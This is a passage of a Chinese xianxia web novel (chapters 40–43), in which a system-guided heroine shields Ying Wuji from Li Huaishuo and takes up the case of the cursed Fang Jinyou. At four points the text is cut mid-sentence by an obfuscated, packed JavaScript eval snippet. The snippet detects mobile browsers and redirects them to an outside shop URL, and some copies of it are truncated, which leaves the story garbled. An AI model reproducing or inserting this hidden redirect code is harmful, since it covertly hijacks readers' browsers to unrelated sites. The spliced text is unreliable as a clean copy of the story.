系统的警告又在耳边响起,柳沅闭上眼睛,正要迎接自己摔伤的结局,后脑勺突然被一股轻柔的力量包裹住了,随之而来的是身体的翻动。 她猛然瞪大了眼睛,坠入一双满是雾气的眼睛中。 应无霁怎么会来? 而且,她的目光缓缓下移,发现他穿着的衣服很眼熟。这不是刚才看见的喜婆穿的衣服吗? 她还在发愣,头就被人一按,眼前一晃,已经跟着应无霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079495|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻进了花轿。帘子还未落下,她看见外面诡异的一幕。 方大小姐从屋顶上坠落,那穿在她身上红火的嫁衣化作一张巨网,把她捆了起来,而挟持着春儿的新姑爷突然和怀中的少女融为了一体,两人的身体缓缓交融,竟然出现了第三人的身影。 柳沅目瞪口呆地望着这一幕,直到花轿的帘子落下还在回味。 身后的应无霁突然闷哼一声,刺眼的鲜血喷洒在轿中,和四面的红色融为了一体。 “警告,警告,娘亲受到伤害,请宿主尽快将药草给娘亲服下治伤,否则将受到升级版电击惩罚。” 柳沅懵了,这才意识到应无霁就在自己身后,就和自己在同一轿子里。她僵硬地转过身体,飞快地看了一眼脸色苍白的应无霁,别扭地把藏在怀中的甘月草递给他。 应无霁别过头,没接。 柳沅一下就被气笑了:“这是什么你不会不知道吧?吃了。” 应无霁还是没动,柳沅暗暗翻了个白眼,向前大跨一步,拽起他的手就要把甘月草往里塞。 刚触碰到他皮肤的那一刻,柳沅怔了怔。怎么会那么凉? 几乎是下意识的,她的手滑到他的手腕,无意识地摩梭了下他的脉搏,却发现跳动十分微弱,柳沅这才察觉到不对劲,连忙摇了摇应无霁的身体。 他垂着头,紧闭着双眼,露出痛苦的表情。 “应无霁?应无霁?你醒醒!”柳沅一下就慌了神,左摇右摇,他就是不醒。 “系统,系统,怎么回事,昨天晚上他的伤不是已经好了很多吗?”她没办法了,只能找系统求助。 系统很快给出了解答:“是排斥,他在排斥昨天吸取的能量。昨天萤神只的能量十分契合他,所以当时的伤很快就好了,但他不愿意吸收这股能量,一直在排斥,由于这股能量和他的契合度过高,所以导致了现在的局面。” 柳沅拿着甘月草,手足无措。 “既然都已经吸收了,为什么非要用伤害自己的方式吐出来呢?”她胡乱地去抓应无霁紧紧握成拳头的手,抖着声音问道。 应无霁甩开她的手,嘴巴微微张开,浓郁的鲜血顿时流了出来。那双素来微微睁开的眼睛一下子就瞪圆了,黑中透蓝的瞳孔微微颤动,眼白处也充满了血丝。 这副样子像刚从地狱中爬出来的恶鬼。 柳沅被吓死了,慌乱之下又想去抓他的手,一个没站稳,摔到了他身上。 应无霁死死咬着下嘴唇,直到血肉模糊。 “应无霁,你……你不要……”柳沅被眼前的景象吓懵了,带着哭腔想去触碰他的脸,又被他避开。 她是真的没想到应无霁会那么排斥妖怪的力量,早知道……早知道…… 柳沅心乱如麻。 突然,地面一阵震动,随后是悬空感,轿子被人抬起来了。她掀开轿子窗户的帘子,却只看见一片白茫茫,猛然往下一看—— 他们竟然连同着轿子悬在湖水上方! 柳沅看见方大小姐满身伤痕,跟在一个带着帏帽的白衣男子身后。那白衣男子正是李怀朔。 她还来不及震惊,就看见一个大着肚子的男人踉踉跄跄地跑到湖边,拦住了那两人。 40. 血与暗(10) “方锦悠,我给过你机会的。”方大小姐阴沉地盯着那大着肚子的男人,慢声道。 虽然她身上满是伤痕,嫁衣也已经破破烂烂,但依旧端着一副胜利者的姿态,居高临下地站在方锦悠面前。 方锦悠控制不住地打了个寒颤,但还是坚定地护在湖边,不让他们过来。 “为什么不听话呢,乖乖听话我不就会满足你的所有愿望了?”只一眨眼的功夫,方大小姐已然逼近了方锦悠,粗暴地挑起了他的下巴。 望着他脸上掩饰不住的惊恐,她满足地笑了。 此时,一直站在不远处的李怀朔发现了柳沅的视线,对着她微微一笑。 柳沅心底一惊,忙退回轿子里,开始思考对策。 不行啊,她望着不停往外吐血的应无霁,脑子一片混乱。 怎么办,再这样下去应无霁就要死了。 “警告,警告,请宿主注意,男主已经出现。请宿主注意,男主已经出现。” 系统的声音让柳沅濒临崩溃的神经啪嗒一下全断了,她的手紧紧抓着帘子,指尖泛白。 “你说什么?!”她的声音陡然高了八度,“男主出现?谁是男主?谁?” “就是外面那个穿白衣服,戴白色帏帽的。”系统道。 不对,不对。柳沅的脑子已经彻底乱了,李怀朔不是入梦人的首领吗?怎么会是这本书的男主? 那应无霁怎么办?她凑到虚弱的他身边,捡起地上的甘月草,慌张道:“你醒醒啊,应无霁,我给你找来治伤的药了,你坚持一下啊。” 应无霁勉强睁开眼睛,想伸手去接,却在半途中落了下来。 柳沅性子急,忙把甘月草往他手里塞。轿子内的空间很小,应无霁还蜷缩在角落里,柳沅摔在他身上,为了把药草往他手里递,只能往他怀里钻。 这是一个非常尴尬的姿势,柳沅咬咬牙,心想豁出去了,把他的脖子往自己这边重重一勾,这下两人的脸几乎贴在一起,这样才把药草塞到应无霁手中。而就在这时,原本平稳的轿子突然晃动了数下,柳沅一个不稳,咕噜咕噜地滚到了门边,半边身子都滑了出去。 这可把她吓坏了,忙紧紧扒住了轿子门的边边。 不行,不能再拖了。她又看了眼刚把药草服下去的应无霁,敲了敲系统。 “系统,快!我要用千里传送符,快!” 系统来的很快,在一阵急促的机械音中,轿子又是一晃。柳沅咬紧下唇,使劲往里钻了钻。但轿子似乎正在缓慢地转动,那股坠落感越来越强烈。 系统的声音也变得断断续续,好像有什么能量可以切断了她和系统的联系,柳沅心中大喊不好,下意识去看角落里的应无霁,大喊道:“你醒醒啊,应无霁,轿子要翻了!” 她其实预想了最坏的情况,应无霁没恢复过来,他们俩双双坠落,这个时候她就可以利用刚学的浮空术,不至于让他们立马落水。 可是后面…… 她想起站在湖边的李怀朔,想起来刚才系统的警告。 这似乎是一个死局。重伤未愈的应无霁,碰上修为高强的李怀朔。 柳沅绝望地闭上了眼睛。 突然,轿子彻底翻了,强烈的坠落感传来,她和应无霁一同下坠。正当她准备施展浮空术时,应无霁的下落速度猛然加快,最后几乎是半搂着她立在了水面上。 这一切发生的太快了,柳沅的发丝还处于飘在空中的状态,表情还是惊恐的,就被应无霁按在了怀中。 他剧烈地咳嗽了一阵,抬眼淡淡望向站在湖边的李怀朔。 “好久不见啊。”李怀朔心情很好地对着他打了个招呼,垂在帽檐的白布微微晃动。应无霁没回答,搂着柳沅腰部的手很重,疼的她龇牙咧嘴。应无霁垂下眼,扫过她的神情,手上的力道不仅没松,反而更用力了。 柳沅有理由怀疑他是故意的,狠狠地瞪了他一眼,但应无霁一直躲避她的目光,脚尖轻点,就那么飞到了岸上。 方锦悠一见应无霁,眼睛都亮了,大喊一声仙人救我,就要往这边跑。站在他身后的方大小姐眼神微变,只是勾了勾手指,他的肚子便陡然变大,疼的他登时摔倒在地,哀哀地叫唤起来。 不对吧。柳沅心想。这方大小姐会法术,这突然出现的男子长得和那方老爷十分相似。 一个大胆的想法从她心里蹦了出来。 不会这所谓的方大小姐才是搅乱方府的罪魁祸首,这位突然冒出来的男的才是方府的那位“大小姐”吧? 方大小姐察觉到了柳沅的视线,警告地看了她一眼,随后屈起五爪,就朝应无霁抓来。 “小心!”柳沅一声大喊,应无霁顿时转头,右手掏出桃木枝,轻轻一挡,不仅挡住了方大小姐的攻势,还借力把她推的老远。 她弯下腰,将变长的指甲插入地下,足足划出了五条又深又长的痕迹,这才堪堪停在湖边,没掉下去。 应无霁像掸灰尘捋了捋自己稍稍皱了的袖子,微微抬眼,完全没把她放在眼里。 这时,李怀朔鼓着掌,从一旁走了出来。他先是看了看柳沅,随后才将目光放在应无霁身上。 “我们这么久没见,你不应该主动给我打声招呼吗?”他的语气带着十分刻意的亲昵,特意上扬的尾音更是强化了这份刻意。 柳沅看看应无霁,又看看李怀朔,识趣地抬起脚,要往旁边去。结果应无霁一把抓住了她,把她的手牢牢锁在了自己手中。 不是?她震惊地抬起头,却发现应无霁昂着头,自己只能看见他的下巴。 你们小两口吵架关我什么事?带上我想干嘛? 柳沅不解,应无霁只是把她拽到身后,然后一动不动地盯着李怀朔,神色冰冷。 “恭喜宿主,第一阶段任务完成,成功让男女主见面,接下来请宿主完成撮合他们,将剧情线拨回正轨的主线任务。”系统的声音突然出现。 柳沅先是一愣,随后像抓住了救命稻草,连忙问道:“你刚才怎么了?千里传送符还能用吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087011|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 系统有点迷糊道:“刚才?刚才我好像被一股不知名的能量干扰了,和宿主你不小心断了联系,不过现在好了。宿主你确定要使用千里传送符?” 柳沅顿了顿,还是有点不确定,就没说话。 李怀朔微微抬起手,将戴在头上的帏帽摘下,露出一张精致的脸来。毫不夸张,柳沅不由得感叹这古早小说里对男女主的外貌描写。如果说应无霁是雾,是雪,那李怀朔就是风,是水。 他是短脸,五官分布十分紧凑。弯弯柳叶眉,狭长深邃的丹凤眼,总是含着笑,扑面而来一股亲和力。他的瞳孔带着点灰色,垂下眼睛看人的时候有种悲天悯人的感觉。此时太阳正好,照在他平整的额头上,晃出了一道剑形的疤。 柳沅一阵恍惚,突然想起来系统曾和她说过的男主特征,完全对上了。 李怀朔的头发用一根木簪别在脑后,随着轻风微微摇晃。 不知道是不是柳沅的错觉,应无霁好像白了李怀朔一眼。她揉揉眼睛,再去看时,应无霁已经移开了视线。 见应无霁对自己视而不见,李怀朔故作委屈地拧了拧眉毛,笑道:“甘月草的味道怎么样?能治好伤吧?这可是你身旁这位小妹妹冒着生命危险偷来的,吃起来怎么样?” “哎呀,也不是冒着生命危险,就是用聪明才智偷来的……”柳沅被夸的有点飘飘然,正自己暗自嘟哝,手又被狠狠拉了一下。她疑惑地抬起头,发现应无霁无缘无故瞪了她一眼。 “哎,她还真是有理了,我累死累活帮她偷药材,她伤好了转头就忘记了我的付出,眼睛非要黏在这个伤过她的男人身上吗?”柳沅气冲冲地找系统诉苦。 本来应该兴奋的系统却在这时幽幽说了句:“别忘了他们之间的相处模式是怎样的,宿主,他们是相爱相杀的狗血情侣。” 话音刚落,只见李怀朔飞身将方大小姐往旁边一拽,低声和她说了些什么,虽然她很不甘心,还是按照吩咐往别处走。 临走前,她狠狠瞪了方锦悠一眼,吓得他连滚带爬地跑到柳沅身后。 “感觉怎么样?”李怀朔的语气十分温和,几乎是贴在应无霁耳边说的。应无霁眼底闪过明显的厌恶,抽出桃木枝就对着李怀朔的脸抽。 那饱含力度的一击被他轻松躲过,李怀朔甚至还有空对着应无霁笑了笑。就是这一笑,彻底点燃了战火。两人扭打在了一起。 柳沅在旁边看的一愣一愣的,能看出来,这两人对对方都下了死手,只不过实力相近,怎么都伤不到对方。 “你管这叫恨海情天?”柳沅不可置信地问系统,“这明明是纯恨吧?哪里有情了?” 系统呵呵一笑,嗡声道:“哪里没有情了?你看他们对彼此都没有下死手,这还不算有情?” 柳沅看着应无霁掐着李怀朔的手,青筋暴起。 这两人,一看就是死敌吧? 不对,她陡然一个激灵,视线一寸一寸扫过应无霁的身体,诡异地发现他好像又变了一点。 41. 他不是娘亲!(1) “系统,”柳沅有点僵硬地动了动脖子,目光落在应无霁露出的手臂肌肉上,咽了咽口水,“我怎么觉得有点不对劲呢?” 应无霁虽然穿着嫁衣,虽然柳沅不知道他为什么会穿着嫁衣出现在方家,但是,但是,他穿着嫁衣,丝毫没有任何女子的样子。 对,就是这种违和感。 她说不太清楚。在系统口中的古早虐文小说里,傻白甜小白花女主一定是柔弱纤细的身材,配上一张楚楚可怜的脸。应无霁确实有一张绝色的脸,确实看上去总是呆呆的,楚楚动人的,但是…… 但是柔弱小白花女主怎么可能会有肌肉! 不是的不是的,肯定是她看错了。柳沅在心里反复安慰着自己。 而且早就说过了,应无霁是修仙的,修仙的有肌肉有什么大不了的。 她正心神不宁,反复思考着应无霁的奇怪之处,肩膀就被人戳了戳。柳沅转头一看,正是那个凭空冒出来的男子。 他长的怪清秀的,笑起来露出两颗小虎牙,看起来人畜无害的。 柳沅疑惑地望向他。 “那个仙人你认识吗?”方锦悠问道。 “那是我姐姐。”柳沅回答道。 话音刚落,他嗷的一声喊了出来,叉开双手就要拥抱柳沅,她被吓得往后一仰,差点摔进湖里。 “你干嘛,要说话说话,不要动手动脚!”柳沅大喊道。 “我被那个女鬼缠了很久很久了,她说什么也不愿意放过我,那天那位仙人来了之后,我的病才好,可是仙人走了之后那个女鬼又来了,要不是她,我也不会变成今天这个鬼样子。”他哭喊道。 “既然这位仙人是你……呃,”方锦悠卡顿了一下,一言难尽地打量了她几眼,继续道:“是你姐姐,你能不能帮帮我,让这位仙人彻底除掉女鬼啊!” 柳沅正专注地观看着李怀朔和应无霁的打斗,其实根本没怎么听他讲话,只是敷衍地点点头。 方锦悠见她点头,不可置信地抓住她的手臂,夸张道:“真的吗?你真的愿意帮我吗?其实我才是方家的大小姐,不,呸,大少爷,我有很多很多钱,我可以用万两黄金报答你,我……” 按理说吃完甘月草,应无霁身上的伤应该完全恢复,可他在和李怀朔的交手中速度越来越慢,原本红润的脸色也在变得苍白。 系统说甘月草能治好娘亲身上全部的伤,那就一定能治好,会出现现在的情况,只有一种可能,这药草有问题。而且,柳沅突然反应过来,系统并没有完成任务的提示,那更加说明这甘月草有问题了。 “系统!我现在就要用千里传送符!”柳沅突然大吼一声。 系统虽然不知道她又发什么神经,还是很配合地将千里传送符从任务奖励中调取出来,为她使用做好准备。 而熟悉应无霁的不止柳沅,李怀朔也敏锐地发现了他的破绽,趁着应无霁注意力涣散的空档,一掌拍向他的胸膛。 这一掌的威力非同小可,柳沅隐隐觉得,这一掌打下去,她可能会跟着应无霁一起死在这里。 所以她故技重施,闪身插入两人之间,启动了系统提供的千里传送符。白光闪起的一瞬间,她在应无霁微微睁大的眼睛中侧身,挡住了李怀朔恼羞成怒的一掌。 砰—— 血滴四溅,应无霁的眼睛瞪圆了。他能清楚地感知到温热的液体,一点一点从眼前的少女体内涌出,在掌风的余力下,溅在他的脸上。 她的头无力地垂下,滚烫的手搭在他的肩膀,热度缓缓减弱。应无霁有点发愣,下意识伸出手,捧住了她的脸。 鲜血在手中聚集,在柳沅模糊的视线中,那双素来无喜无悲的眼睛出现了错愕,震惊,还有茫然。 她的头好晕,但是,她不能就这么晕过去,千里传送符还在启动中,她不能失去意识。 只是,她死死盯着应无霁的眼睛,有点生气。 娘亲啊,我都替你挡伤害了,你竟然只是感觉到震惊吗? 应无霁微凉的手一直贴着她的面颊,柳沅不舒服地想避开,又被他拽了回来。 千里传送符启动时不能大幅度移动,柳沅忍着气,不爽地对应无霁翻了个白眼,最后索性闭上了眼睛,静静等待着系统地倒计时结束。 “柳沅。” 耳边突然传来很是低沉的声音,很轻很轻,轻的像柳沅的幻觉。她无力地靠在应无霁的肩膀上,心想一定是自己听错了。 她娘亲明明就不会说话。 应无霁垂下眼睛,紧紧抱住了虚弱的她,同时右手一翻,桃木枝直直地指向了李怀朔的眉心,止住了他想偷袭的动作。 “我还以为你不会反抗呢。”李怀朔忌惮地往后退了一步,嘴角带着笑,说道。 此时,千里传送符的使用时间已到最后一秒,柳沅挣扎着推开应无霁,顺手拉了一把在旁边发愣的方锦悠,自此,三人全部消失在了原地。 只剩下一滩血。 李怀朔有些遗憾地耸耸肩,慢悠悠地蹲下,伸出手指蘸了蘸地上的那摊血,随后捻了捻沾血的指尖,勾起一抹奇怪的笑。 身后传来一阵急促的脚步声,李怀朔起身,望向来者。 是穿着嫁衣的方大小姐,她的脸上还残留着浓郁的阴郁和不安,眼睛四处张望着,在看到湖边空无一人时猛地定住了脚步。 李怀朔将她的动作尽收眼底,勾起一抹漫不经心的笑,轻声道:“阿湘不用担心,只要你想找到他,就一定会找到他的。” 宋扶湘又不甘心地看了看四周,没有发现方锦悠的影子,这才收回视线,乖乖地站到他身后,沉默下来。 “不过,我很好奇,柳沅怎么会来?”李怀朔笑道,“那一定是有人告密了。” 说这话的时候,李怀朔朝宋扶湘露出一个灿烂的笑容,随后伸出手,轻轻勾了勾她头上晃动的金色流苏,轻声道:“去查查吧。” “是。”宋扶湘低声道,一个飞身就往那庭院墙根处的树飞去。只听咔擦一声,她刚到树下,就被断裂的树枝砸到了脑袋。李怀朔紧跟其后,发现宋扶湘迷茫地望着自己,意味不明地望向天空。 “你还是不肯见我啊,”说完,他低低地笑了,“不过很快,”他朝着宋扶湘招招手,示意离开。 “很快我们会再见面的。” 一白一红两道身影离开后,原本无人的树上突然掉出一小片红色衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不对。柳沅还是觉得不对,但总想不起来哪里不对。她又盯了应无霁好几次,见实在看不出什么才作罢。 应无霁将她的行为尽收眼底,轻轻地垂下了眼睛,看着两人虚虚交握的手,嘴角轻轻上扬。 柳沅没看到,闭上眼睛继续接受治疗。 大概半个时辰后,她身上的伤就完全好了。应无霁从地上站起来,慢条斯理地掸去衣服沾上的尘土,提步往房间走去。 一时间,院子里只剩下方锦悠和柳沅。 此时,系统再次道:“关键人物出现,反派的舔狗,名叫方锦悠,方家少爷,是反派前期积攒力量时的关键支持者。” 方锦悠好不容易找到空隙想向救命恩人介绍一下自己,只是刚伸出手,话都没说完,就看见面前的少女露出一抹笑容。 本来锐利逼人的眉目因为笑容,变得柔和动人,那双浅棕色的瞳孔在阳光的照射下很是好看,配上那眉心处的两颗小痣,让柳沅看起来格外吸引人。 方锦悠一时间看呆了。 “我知道,你叫方锦悠,对吧?” 42. 他不是娘亲!(2) 他呆呆地点头。 这反派真是老天庇佑,事业运这么好?到处都是小弟。柳沅羡慕之余,心理极度不平衡,特别是想到后面的剧情中自己还会被反派折磨,这股不平衡的心态更明显了。 不过,她若有所思地打量着方锦悠,心生一计。 这人看上去一点也不聪明,是最好忽悠的类型。要是自己抢在反派之前把他拉拢,那不就成了? 只要自己抢了反派的机缘,那反派没有助力,自然而然就成长不了,那就对她没有任何威胁了。 柳沅怪笑着,望向方锦悠的目光越发炽热。 他也不知道柳沅为什么要用这么奇怪的眼神望着自己,只一味尴尬地笑。 “你说你是方家少爷,可我听说方家只有一位大小姐,难不成是那个姑娘抢了你的身份?”柳沅边问边观察他的表情。 方锦悠脸色一下就黑成了锅底,几乎是咬牙切齿道:“那个妖女给我喂了一种奇怪的东西,然后我就……我就……” 那个词实在难以启齿,他脸红的像苹果,支支吾吾什么也说不出来。 这时,一阵风吹过柳沅面前的枯叶,她顺着风吹来的方向望去,发现是应无霁。 他抱着一叠黄纸,强硬地挤进两人之间,斜眼看了看方锦悠。 这一眼有点凉,方锦悠哆嗦了一下,颤颤巍巍地缩到一旁,为他让路。 “哎,这是要做什么?”柳沅被他手中的东西吸引了注意力,忙凑过来问道。 她和人说话时总是凑的很近,应无霁皱起眉毛,用食指轻轻点在她眉心,把她往旁边稍稍移了一点,柳沅先是一愣,随后不满地又凑了过来。 望着应无霁脸上的错愕,她心情很好地笑了起来,强调道:“我不凑近点看不见。” 应无霁匆匆垂下眼,移开视线,动作稍微有点急,正好又有一阵风吹来,把放在最上面的一张黄纸吹走了。方锦悠离得近,急忙弯腰去捡,被应无霁一个眼刀钉在原地,最后还是柳沅嘟囔了声奇怪,把黄纸捡起来重新放回他怀中。 应无霁把黄纸放在石桌上,看了一眼方锦悠。他干笑一声,小心翼翼问道:“是要我做些什么吗?仙人?” 话音刚落,应无霁右手的袖口便滑出那根桃木枝,轻轻朝方锦悠露出的手腕一点。一股剧痛突然传来,他一声惊叫,手腕处便出现了一条长长的伤口。 鲜红的血液哗啦一下流了出来,细小的血点浮在空中,飘向应无霁手中。他轻轻提起桃木枝,控制好一颗接着一颗而来的血珠,在那黄纸上绘起图样来。 “好……好疼!”方锦悠忍不住痛呼道,想缩回手腕却发现动弹不得。 应无霁在用他的血画符。桃木枝在那双手的控制下飞速动作着,一个诡异的人脸图案缓缓浮现在黄纸上。 柳沅看见他拿起黄纸,快准狠地往方锦悠额头上一贴,随后只听见刺啦一声,方锦悠藏在宽松长袍下的肚子哗啦一下涨了起来。 他面色惨白,挺着一个大肚子,看上去诡异极了。 “这……就是那个妖女对你做的事?”柳沅忍不住问道。 方锦悠扑通一声跪到地上,哭喊道:“那个妖女,那个妖女给我吃了一个奇怪的东西,然后我就突然变成这样了,我爹为了不让丑闻传出去,就说方家有个大小姐得了病,然后在镇上贴了告示,请各路名医来医治我。” 柳沅看看他,又看看应无霁,开玩笑道:“那你是怎么认识我姐姐的,难不成她也去治你了?” 本来柳沅真的就只是开了玩笑,没想到方锦悠真的点了头。 “是前几日,对,就是前几日,她来了之后给我吃了什么,我的病突然就好了。可是,可是……”方锦悠的眼神突然充满恨意,“那个妖女还是不肯放过我,她竟然亲自来了,不知道用了什么妖法,把我分成了两个人。” 闻言,柳沅望向应无霁,他微微抬头,瞳孔在阳光下泛出亮亮的光,和往常都不太一样。她慌张转头,欲盖弥彰地挠了挠头。 “我怎么感觉怪怪的。”她对系统道,“娘亲对我的态度好像不太一样了,你确定好感度升到50了嘛?我怎么感觉更低了。” “她一直在瞪我。”说完这句,余光中她又感觉应无霁看了自己一眼,转过头一看,正好对上他往上翻动的眼睛。 “你看,她又瞪了我一眼。”她挠头的动作更急了。 系统却是一副无所谓的态度,敷衍道:“哎呀,娘亲性格就是这样,谁都猜不透。瞪你就瞪你呗,比好感度下降要好吧。” 话音刚落,柳沅又听到叮咚一声,系统的提示音来了:“恭喜宿主,娘亲好感度提升5点,总好感度55,请再接再厉。” “哎,竟然只是瞪你几眼好感度就提升了吗?快让她多瞪几眼。”系统欢天喜地道。 柳沅忍无可忍地换了个位置,离方锦悠更远了些,应无霁随之转头,没有再看她了。 她松了一口气,继续问道:“你的意思是,她当时的随身丫鬟春儿,还有那个来迎亲的新姑爷,都是你?” 方锦悠忙点头:“都是我,都是我,她为了报复我,不让我从她身边逃走,就用了这个办法,要不是仙人来救我,我可能永远都逃不出来了。” 哇哦。柳沅和系统同时发出一声惊呼。 原来是强制爱剧情啊。 她感觉到一种诡异的兴奋。 “这小说配角的剧情也这么带劲啊?”她忍不住打趣道。 系统憋不住笑,调侃道:“这还不及你和反派剧情的万分之一呢。” 这话一出来,柳沅立即想到了些不好的画面,呵呵冷笑一声,没再和系统说话了。 方锦悠继续哭诉道:“那个疯子……那个疯子还想让我生下孩子,她说要永远把我锁住。仙人,仙人,救救我吧。” 说完就不住地磕头,磕的头都红了,还有隐隐要流血的趋势。 这可真是下了大力度,柳沅抱臂望着,不停地倒吸凉气。 “那人是半妖,给他下了一种蛊,这种蛊虫名为离,可以将人一分为二,同时喂他吃下了人面,让他有了怀上孩子的假象。”应无霁低沉着声音,突然出声道。 这声音一响起,柳沅和方锦悠全都愣住了。 不对,她率先抬起头,脑袋一片空白。 怎么有男人的声音?她娘亲怎么会发出男人的声音? 这不对,这完全不对啊! 与柳沅的极度惊恐不同,方锦悠此时满心满眼都是求救,恨不得抱住应无霁的大腿,求他救救自己。应无霁察觉到了他的意图,早他行动一步挪开了。 方锦悠扑了个空,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方锦悠一想到这恶心的东西在自己身体里呆了那么久,就控制不住地继续干呕。一旁的柳沅倒是对这个东西很感兴趣,左看看右看看。 说这是个修仙世界,其实除了那天晚上,柳沅鲜少见到妖怪,所以对人面十分好奇。 方锦悠实在吐不出什么东西来了,虚弱地扶着树干站稳,有气无力道:“那仙人你们什么时候跟我一起回家?那女鬼肯定不会放过我的,只要我一回去,她一定会出现。” 柳沅看了一眼天色,已经快到下午了,刚想说话,就听见应无霁低沉的声音。 “我们现在就去。” 啊? 啊? 啊?! 柳沅和方锦悠都愣住了。随后,方锦悠肿成核桃的眼睛再度流出感动的泪水,哭喊道:“我一定会报答你们的,你们真是我见过心肠最好的仙人!” 柳沅倒是意外,因为按她对应无霁的了解,此人一般不喜欢多管闲事。看来……她左思右想,只想到一种可能——娘亲和渣爹之间的相爱相杀。 “在经过短暂几个月的分别后,咱们的傻白甜女主还是无法忘怀曾经的爱人,虽然恨他,但无法抑制自己内心的冲动,决定以身为饵,主动诱惑他出招。啊,多么好磕的爱情。恨海情天!” 系统陶醉的朗诵道。柳沅忍无可忍地捂住了耳朵,别过脸去。 又起风了,大树树枝上仅剩的枯叶哗啦一下全掉了,有几片落在应无霁的头顶,落在他缠着的红发带上。 柳沅这才惊觉他依旧穿着那身火红的衣服,胜似嫁衣。 红色如血,应无霁眼神如雪,美的惊心动魄。 43. 他不是娘亲!(3) 他看出了柳沅的不自在,在她移开视线之前,挑了挑眉。 “我们走吧。” 这个“我们”咬字极重,像是刻意为之,配上他那淡淡的表情,和长长的,弯起的眼尾,有种难以言说的吸引力。 柳沅呼吸微滞,猛然闭眼,突然低头开始整理毫无褶皱的衣服。 应无霁特意从她身边走过,不知道是不是故意的,撞了她一下。但力度很轻,柳沅几乎感受不到被撞,只闻到了属于他的,带着强烈个人风格的味道。 她有点慌张地把头埋的更低。 方锦悠并没感觉到气氛的不对劲,一边给自己顺气,一边走在前面为两人带路。 应无霁一直跟在柳沅背后,淡淡的目光停留在少女微红的耳尖,最后欲盖弥彰地移向周围的绿树。 柳沅一直能感觉到背后有股莫名奇妙的灼热感,她知道是应无霁,却心虚地不敢回头。 方锦悠走着走着,感觉身后没人了,回头一看,那两人已经落了好大一段距离,连忙朝他们招手:“快点啊,镇上有点远,可千万别等到天黑了!” 柳沅应了一声,连忙加快速度往前跑。 不知走了多久,等到红霞满天,他们总算是到了地方。 方府前的红绸还没完全撤去,挂在门边,被风一吹,配上逐渐变暗的天色,有种阴森森的感觉。方锦悠顿了顿,回头看了一眼柳沅和应无霁,这才放心地抬脚进门。 一进门,门边便闪出两道人影,是方府的小厮。 他们一看见方锦悠,眼睛就瞪成了铜铃,嘴巴也张的老大。 方锦悠疲惫地叹了一口气:“快去通报我爹,我找到能救方家的仙人了。” 一会儿后,柳沅和应无霁坐在摆满丰盛餐食的长桌的主位上,被一双双眼睛轮流看了个遍。应无霁没觉得有什么,旁若无人地拿起筷子,专门夹烤鸡吃,而柳沅实在是受不了这种奇怪的氛围,率先开口道:“你们……有什么话就直说吧……” 方老爷等这句话已经很久了,紧皱的眉头突然松开,深深叹了一口气:“犬子应该已经把事情的来龙去脉说过了,那妖女简直是阴魂不散,用我儿性命要挟,非让我办下这场亲事,来引仙人出现。刚才你们走后,她又来了,说如果三天之内不交出我儿,就要把我们方府的人全都杀了。” 引应无霁出现?柳沅愣了愣,追问道:“所以这妖女的目的不仅仅是方少爷,还有我……娘……呸!” 她连忙改口道:“我姐姐?” 方老爷沉重地点点头,说道:“原以为我儿就会这样被妖怪害了,没想到仙人们竟然又救下了我儿,此等恩情无以为报啊。” 说完,抹了抹眼泪,继续道:“原本我并不想将仙人牵扯进来,奈何这女妖又跑来威胁我,我虽然担心我儿的安危,也更担心仙人您会被这女妖暗算呐!” “这女妖聪明谨慎,一定会再来的。我平时也爱研究修仙之类的东西,奈何实在没有天赋,不过也收集了不少威力强大的符咒,都已经布置在藤萝院了,这是我唯一能为两位仙人做的事情了。” “真的,我方子言在这里给二位跪下了,我劳碌半生,好不容易成家了,有了基业,真的不想毁在这女妖手上。若事成,我必有重谢。” 一个时辰后,方锦悠领着两人来到藤萝院,停在门外,有些害怕地咽了咽口水。 “那日仙人把我治好后,我爹娘十分高兴,就想着把这不吉利的院子封上,让我去另一间院子住,可是……” 他开始吞吞吐吐。 “有话说话。”柳沅不耐烦道。 方锦悠鼓起勇气,开口道:“我每天醒来都会出现在藤萝院中,身边会躺着她,我的身体也是从那时开始发生变化的,肚子一天比一天大。” 说完,他有些怯懦地给两人让了个位置,示意他们先进去。 应无霁率先跨进去,似有所感地看了一眼天空,然后柳沅看见他拿出了桃木枝。 桃木枝被他举起来晃了晃,没有什么反应,这时他转身看了柳沅一眼,对她点点头,示意没什么问题。 柳沅这才提步走进来,最后才是方锦悠。他大概是真对这院子有很深的阴影,进来后总是疑神疑鬼,生怕宋扶湘突然从某个犄角旮旯里跳出来,表现的一惊一乍的。 柳沅被他这种古怪的行为吓到好几次了,连忙远离。 